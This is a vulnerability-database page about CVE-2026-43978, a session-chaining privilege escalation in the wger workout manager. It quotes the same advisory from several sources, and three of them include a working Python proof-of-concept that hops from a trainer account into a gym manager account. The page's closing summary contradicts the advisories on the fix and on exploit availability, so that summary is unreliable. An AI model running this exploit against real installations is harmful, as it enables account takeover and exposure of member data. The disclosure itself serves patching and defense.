Every CVE Search/ Get API key

CVE-2026-43978

wger: Privilege escalation via trainer-login session chaining allows gym trainers to impersonate gym managers

8.1 High

wger is a free, open-source workout and fitness manager. In versions prior to 2.6, a gym trainer can escalate their session to any higher-privileged account (gym manager, general manager) by chaining two calls to the trainer-login endpoint. Once a trainer performs a legitimate switch into a low-privileged user, the session flag trainer.identity is set and this flag alone bypasses the permission check on all subsequent trainer-login calls. This grants full gym administration capabilities including viewing all member data, modifying contracts, managing gym configuration, and accessing other trainers' and managers' personal information. This issue has been fixed in version 2.6.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
None

Exploit likelihood

0.27%Up 0.2 points since Jun 12, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.1

wger: Privilege escalation via trainer-login session chaining allows gym trainers to impersonate gym managers

wger is a free, open-source workout and fitness manager. In versions prior to 2.6, a gym trainer can escalate their session to any higher-privileged account (gym manager, general manager) by chaining two calls to the trainer-login endpoint. Once a trainer performs a legitimate switch into a low-privileged user, the session flag trainer.identity is set and this flag alone bypasses the permission check on all subsequent trainer-login calls. This grants full gym administration capabilities including viewing all member data, modifying contracts, managing gym configuration, and accessing other trainers' and managers' personal information. This issue has been fixed in version 2.6.

Record
CVE-2026-43978
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-269
Updated
2026-11-02
EUVDEUVD-2026-45066 8.1

wger is a free, open-source workout and fitness manager. In versions prior to 2.6, a gym trainer can escalate their session to any higher-privileged account (gym manager, general manager) by chaining two calls to the trainer-login endpoint. Once a trainer performs a legitimate switch into a low-privileged user, the session flag trainer.identity is set and this flag alone bypasses the permission check on all subsequent trainer-login calls. This grants full gym administration capabilities including viewing all member data, modifying contracts, managing gym configuration, and accessing other trainers' and managers' personal information. This issue has been fixed in version 2.6.

Record
EUVD-2026-45066
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-9qpr-vc49-hqg2 8.1

wger: Privilege escalation via trainer-login session chaining allows gym trainer to impersonate gym manager

Summary

A gym trainer can escalate their session to any higher-privileged account (gym manager, general manager) by chaining two calls to the trainer-login endpoint. Once a trainer performs a legitimate switch into a low-privileged user, the session flag trainer.identity is set and this flag alone bypasses the permission check on all subsequent trainer-login calls, allowing the trainer to hop into any account including gym managers.

Details

In wger/core/views/user.py lines 169–178, the permission check uses an AND condition:

# Line 169 — passes if EITHER condition is false
if not request.user.has_perm('gym.gym_trainer') and not request.session.get('trainer.identity'):
    return HttpResponseForbidden()

# Line 173 — only runs when current user IS a trainer, not when identity is inherited
if request.user.has_perm('gym.gym_trainer') and (
    user.has_perm('gym.manage_gym') or user.has_perm('gym.manage_gyms')
):
    return HttpResponseForbidden()

After hop 1 (trainer → regular user), request.user is the regular user who has no gym_trainer permission, but session['trainer.identity'] is set. Line 169 evaluates: not False AND not False → the second operand short-circuits the check. Line 173 is never reached because the current user is no longer a trainer. The attacker can therefore call trainer-login again targeting a manager account and it succeeds.

PoC

Requirements: A running wger instance with at least one gym trainer account and one gym manager account in the same gym.

import requests

BASE = 'http://localhost:80'
s = requests.Session()

def whoami():
    r = s.get(f'{BASE}/api/v2/userprofile/',
              headers={'Accept': 'application/json'})
    return r.json().get('username')

# ─────────────────────────────────────────────
print("=" * 55)
print("  PoC: Trainer Login Privilege Escalation")
print("  wger/core/views/user.py:169")
print("=" * 55)

# ─── STEP 1: Normal login as gym trainer ─────
print("\n[STEP 1] Login as 'trainer1'")
print("         trainer1 has ONLY 'gym.gym_trainer' permission")

s.get(f'{BASE}/en/user/login')
s.post(f'{BASE}/en/user/login', data={
    'username': 'trainer1',
    'password': 'pass1234',
    'csrfmiddlewaretoken': s.cookies['csrftoken'],
})
print(f"         Current user  : {whoami()}")
print(f"         Permission    : gym.gym_trainer (NOT manage_gym)")

# ─── STEP 2: Legitimate trainer-login ────────
print("\n[STEP 2] trainer1 uses trainer-login to switch into 'regular1' (pk=4)")
print("         This is ALLOWED — trainer1 has gym_trainer permission")
print("         Side effect: session['trainer.identity'] = trainer1_pk")

s.get(f'{BASE}/en/user/4/trainer-login')
print(f"         Current user  : {whoami()}")
print(f"         Session flag  : trainer.identity is now SET")

# ─── STEP 3: EXPLOIT ─────────────────────────
print("\n[STEP 3] EXPLOIT — now as 'regular1', call trainer-login for 'manager1' (pk=3)")
print("         regular1 has ZERO permissions")
print("         BUT session['trainer.identity'] is set from Step 2")
print("         Line 169 check: `not has_perm() AND not session.get()` → BYPASSED")

s.get(f'{BASE}/en/user/3/trainer-login')
result = whoami()
print(f"         Current user  : {result}")

# ─── RESULT ──────────────────────────────────
print("\n" + "=" * 55)
if result == 'manager1':
    print("  RESULT : !! VULNERABLE !!")
    print("  trainer1 (gym_trainer) is now logged in as manager1")
    print("  manager1 has 'gym.manage_gym' — full gym admin access")
else:
    print("  RESULT : Not vulnerable (got: " + result + ")")
print("=" * 55)

Output on wger 2.5.0a2:

<img width="728" height="628" alt="image"…

Record
GHSA-9qpr-vc49-hqg2
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-269
Updated
2026-11-06
NVD 8.1

wger is a free, open-source workout and fitness manager. In versions prior to 2.6, a gym trainer can escalate their session to any higher-privileged account (gym manager, general manager) by chaining two calls to the trainer-login endpoint. Once a trainer performs a legitimate switch into a low-privileged user, the session flag trainer.identity is set and this flag alone bypasses the permission check on all subsequent trainer-login calls. This grants full gym administration capabilities including viewing all member data, modifying contracts, managing gym configuration, and accessing other trainers' and managers' personal information. This issue has been fixed in version 2.6.

Record
CVE-2026-43978
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-269
Updated
2026-11-02
OSV 8.1

wger: Privilege escalation via trainer-login session chaining allows gym trainers to impersonate gym managers

wger is a free, open-source workout and fitness manager. In versions prior to 2.6, a gym trainer can escalate their session to any higher-privileged account (gym manager, general manager) by chaining two calls to the trainer-login endpoint. Once a trainer performs a legitimate switch into a low-privileged user, the session flag trainer.identity is set and this flag alone bypasses the permission check on all subsequent trainer-login calls. This grants full gym administration capabilities including viewing all member data, modifying contracts, managing gym configuration, and accessing other trainers' and managers' personal information. This issue has been fixed in version 2.6.

Record
CVE-2026-43978
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-269
Updated
2026-11-02
OSVGHSA-9qpr-vc49-hqg2 8.1

wger: Privilege escalation via trainer-login session chaining allows gym trainer to impersonate gym manager

Summary

A gym trainer can escalate their session to any higher-privileged account (gym manager, general manager) by chaining two calls to the trainer-login endpoint. Once a trainer performs a legitimate switch into a low-privileged user, the session flag trainer.identity is set and this flag alone bypasses the permission check on all subsequent trainer-login calls, allowing the trainer to hop into any account including gym managers.

Details

In wger/core/views/user.py lines 169–178, the permission check uses an AND condition:

# Line 169 — passes if EITHER condition is false
if not request.user.has_perm('gym.gym_trainer') and not request.session.get('trainer.identity'):
    return HttpResponseForbidden()

# Line 173 — only runs when current user IS a trainer, not when identity is inherited
if request.user.has_perm('gym.gym_trainer') and (
    user.has_perm('gym.manage_gym') or user.has_perm('gym.manage_gyms')
):
    return HttpResponseForbidden()

After hop 1 (trainer → regular user), request.user is the regular user who has no gym_trainer permission, but session['trainer.identity'] is set. Line 169 evaluates: not False AND not False → the second operand short-circuits the check. Line 173 is never reached because the current user is no longer a trainer. The attacker can therefore call trainer-login again targeting a manager account and it succeeds.

PoC

Requirements: A running wger instance with at least one gym trainer account and one gym manager account in the same gym.

import requests

BASE = 'http://localhost:80'
s = requests.Session()

def whoami():
    r = s.get(f'{BASE}/api/v2/userprofile/',
              headers={'Accept': 'application/json'})
    return r.json().get('username')

# ─────────────────────────────────────────────
print("=" * 55)
print("  PoC: Trainer Login Privilege Escalation")
print("  wger/core/views/user.py:169")
print("=" * 55)

# ─── STEP 1: Normal login as gym trainer ─────
print("\n[STEP 1] Login as 'trainer1'")
print("         trainer1 has ONLY 'gym.gym_trainer' permission")

s.get(f'{BASE}/en/user/login')
s.post(f'{BASE}/en/user/login', data={
    'username': 'trainer1',
    'password': 'pass1234',
    'csrfmiddlewaretoken': s.cookies['csrftoken'],
})
print(f"         Current user  : {whoami()}")
print(f"         Permission    : gym.gym_trainer (NOT manage_gym)")

# ─── STEP 2: Legitimate trainer-login ────────
print("\n[STEP 2] trainer1 uses trainer-login to switch into 'regular1' (pk=4)")
print("         This is ALLOWED — trainer1 has gym_trainer permission")
print("         Side effect: session['trainer.identity'] = trainer1_pk")

s.get(f'{BASE}/en/user/4/trainer-login')
print(f"         Current user  : {whoami()}")
print(f"         Session flag  : trainer.identity is now SET")

# ─── STEP 3: EXPLOIT ─────────────────────────
print("\n[STEP 3] EXPLOIT — now as 'regular1', call trainer-login for 'manager1' (pk=3)")
print("         regular1 has ZERO permissions")
print("         BUT session['trainer.identity'] is set from Step 2")
print("         Line 169 check: `not has_perm() AND not session.get()` → BYPASSED")

s.get(f'{BASE}/en/user/3/trainer-login')
result = whoami()
print(f"         Current user  : {result}")

# ─── RESULT ──────────────────────────────────
print("\n" + "=" * 55)
if result == 'manager1':
    print("  RESULT : !! VULNERABLE !!")
    print("  trainer1 (gym_trainer) is now logged in as manager1")
    print("  manager1 has 'gym.manage_gym' — full gym admin access")
else:
    print("  RESULT : Not vulnerable (got: " + result + ")")
print("=" * 55)

Output on wger 2.5.0a2:

<img width="728" height="628" alt="image"…

Record
GHSA-9qpr-vc49-hqg2
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-269
Updated
2026-11-06
OSVPYSEC-2026-3420 8.1

wger: Privilege escalation via trainer-login session chaining allows gym trainer to impersonate gym manager

Summary

A gym trainer can escalate their session to any higher-privileged account (gym manager, general manager) by chaining two calls to the trainer-login endpoint. Once a trainer performs a legitimate switch into a low-privileged user, the session flag trainer.identity is set and this flag alone bypasses the permission check on all subsequent trainer-login calls, allowing the trainer to hop into any account including gym managers.

Details

In wger/core/views/user.py lines 169–178, the permission check uses an AND condition:

# Line 169 — passes if EITHER condition is false
if not request.user.has_perm('gym.gym_trainer') and not request.session.get('trainer.identity'):
    return HttpResponseForbidden()

# Line 173 — only runs when current user IS a trainer, not when identity is inherited
if request.user.has_perm('gym.gym_trainer') and (
    user.has_perm('gym.manage_gym') or user.has_perm('gym.manage_gyms')
):
    return HttpResponseForbidden()

After hop 1 (trainer → regular user), request.user is the regular user who has no gym_trainer permission, but session['trainer.identity'] is set. Line 169 evaluates: not False AND not False → the second operand short-circuits the check. Line 173 is never reached because the current user is no longer a trainer. The attacker can therefore call trainer-login again targeting a manager account and it succeeds.

PoC

Requirements: A running wger instance with at least one gym trainer account and one gym manager account in the same gym.

import requests

BASE = 'http://localhost:80'
s = requests.Session()

def whoami():
    r = s.get(f'{BASE}/api/v2/userprofile/',
              headers={'Accept': 'application/json'})
    return r.json().get('username')

# ─────────────────────────────────────────────
print("=" * 55)
print("  PoC: Trainer Login Privilege Escalation")
print("  wger/core/views/user.py:169")
print("=" * 55)

# ─── STEP 1: Normal login as gym trainer ─────
print("\n[STEP 1] Login as 'trainer1'")
print("         trainer1 has ONLY 'gym.gym_trainer' permission")

s.get(f'{BASE}/en/user/login')
s.post(f'{BASE}/en/user/login', data={
    'username': 'trainer1',
    'password': 'pass1234',
    'csrfmiddlewaretoken': s.cookies['csrftoken'],
})
print(f"         Current user  : {whoami()}")
print(f"         Permission    : gym.gym_trainer (NOT manage_gym)")

# ─── STEP 2: Legitimate trainer-login ────────
print("\n[STEP 2] trainer1 uses trainer-login to switch into 'regular1' (pk=4)")
print("         This is ALLOWED — trainer1 has gym_trainer permission")
print("         Side effect: session['trainer.identity'] = trainer1_pk")

s.get(f'{BASE}/en/user/4/trainer-login')
print(f"         Current user  : {whoami()}")
print(f"         Session flag  : trainer.identity is now SET")

# ─── STEP 3: EXPLOIT ─────────────────────────
print("\n[STEP 3] EXPLOIT — now as 'regular1', call trainer-login for 'manager1' (pk=3)")
print("         regular1 has ZERO permissions")
print("         BUT session['trainer.identity'] is set from Step 2")
print("         Line 169 check: `not has_perm() AND not session.get()` → BYPASSED")

s.get(f'{BASE}/en/user/3/trainer-login')
result = whoami()
print(f"         Current user  : {result}")

# ─── RESULT ──────────────────────────────────
print("\n" + "=" * 55)
if result == 'manager1':
    print("  RESULT : !! VULNERABLE !!")
    print("  trainer1 (gym_trainer) is now logged in as manager1")
    print("  manager1 has 'gym.manage_gym' — full gym admin access")
else:
    print("  RESULT : Not vulnerable (got: " + result + ")")
print("=" * 55)

Output on wger 2.5.0a2:

<img width="728" height="628" alt="image"…

Record
PYSEC-2026-3420
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
wger
PyPI
through 2.5 None known
wger
PyPI
through 2.5, plus listed versions
1.11.1.11.21.2rc11.3
Show 9 moreShow less
1.41.51.61.6.11.71.81.92.02.1
None known

History

History
RecordedChangedSources
referencesOSV
facts, referencesGitHub Advisories
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-43978 is a high vulnerability (CVSS 8.1) in Wger-project Wger, published May 14, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.27%, the 18th percentile. No source names a fixed version.

References

This page doesn't list everything

Left out here: the rest of 3 source descriptions. The JSON record has them.

MoveEnter Open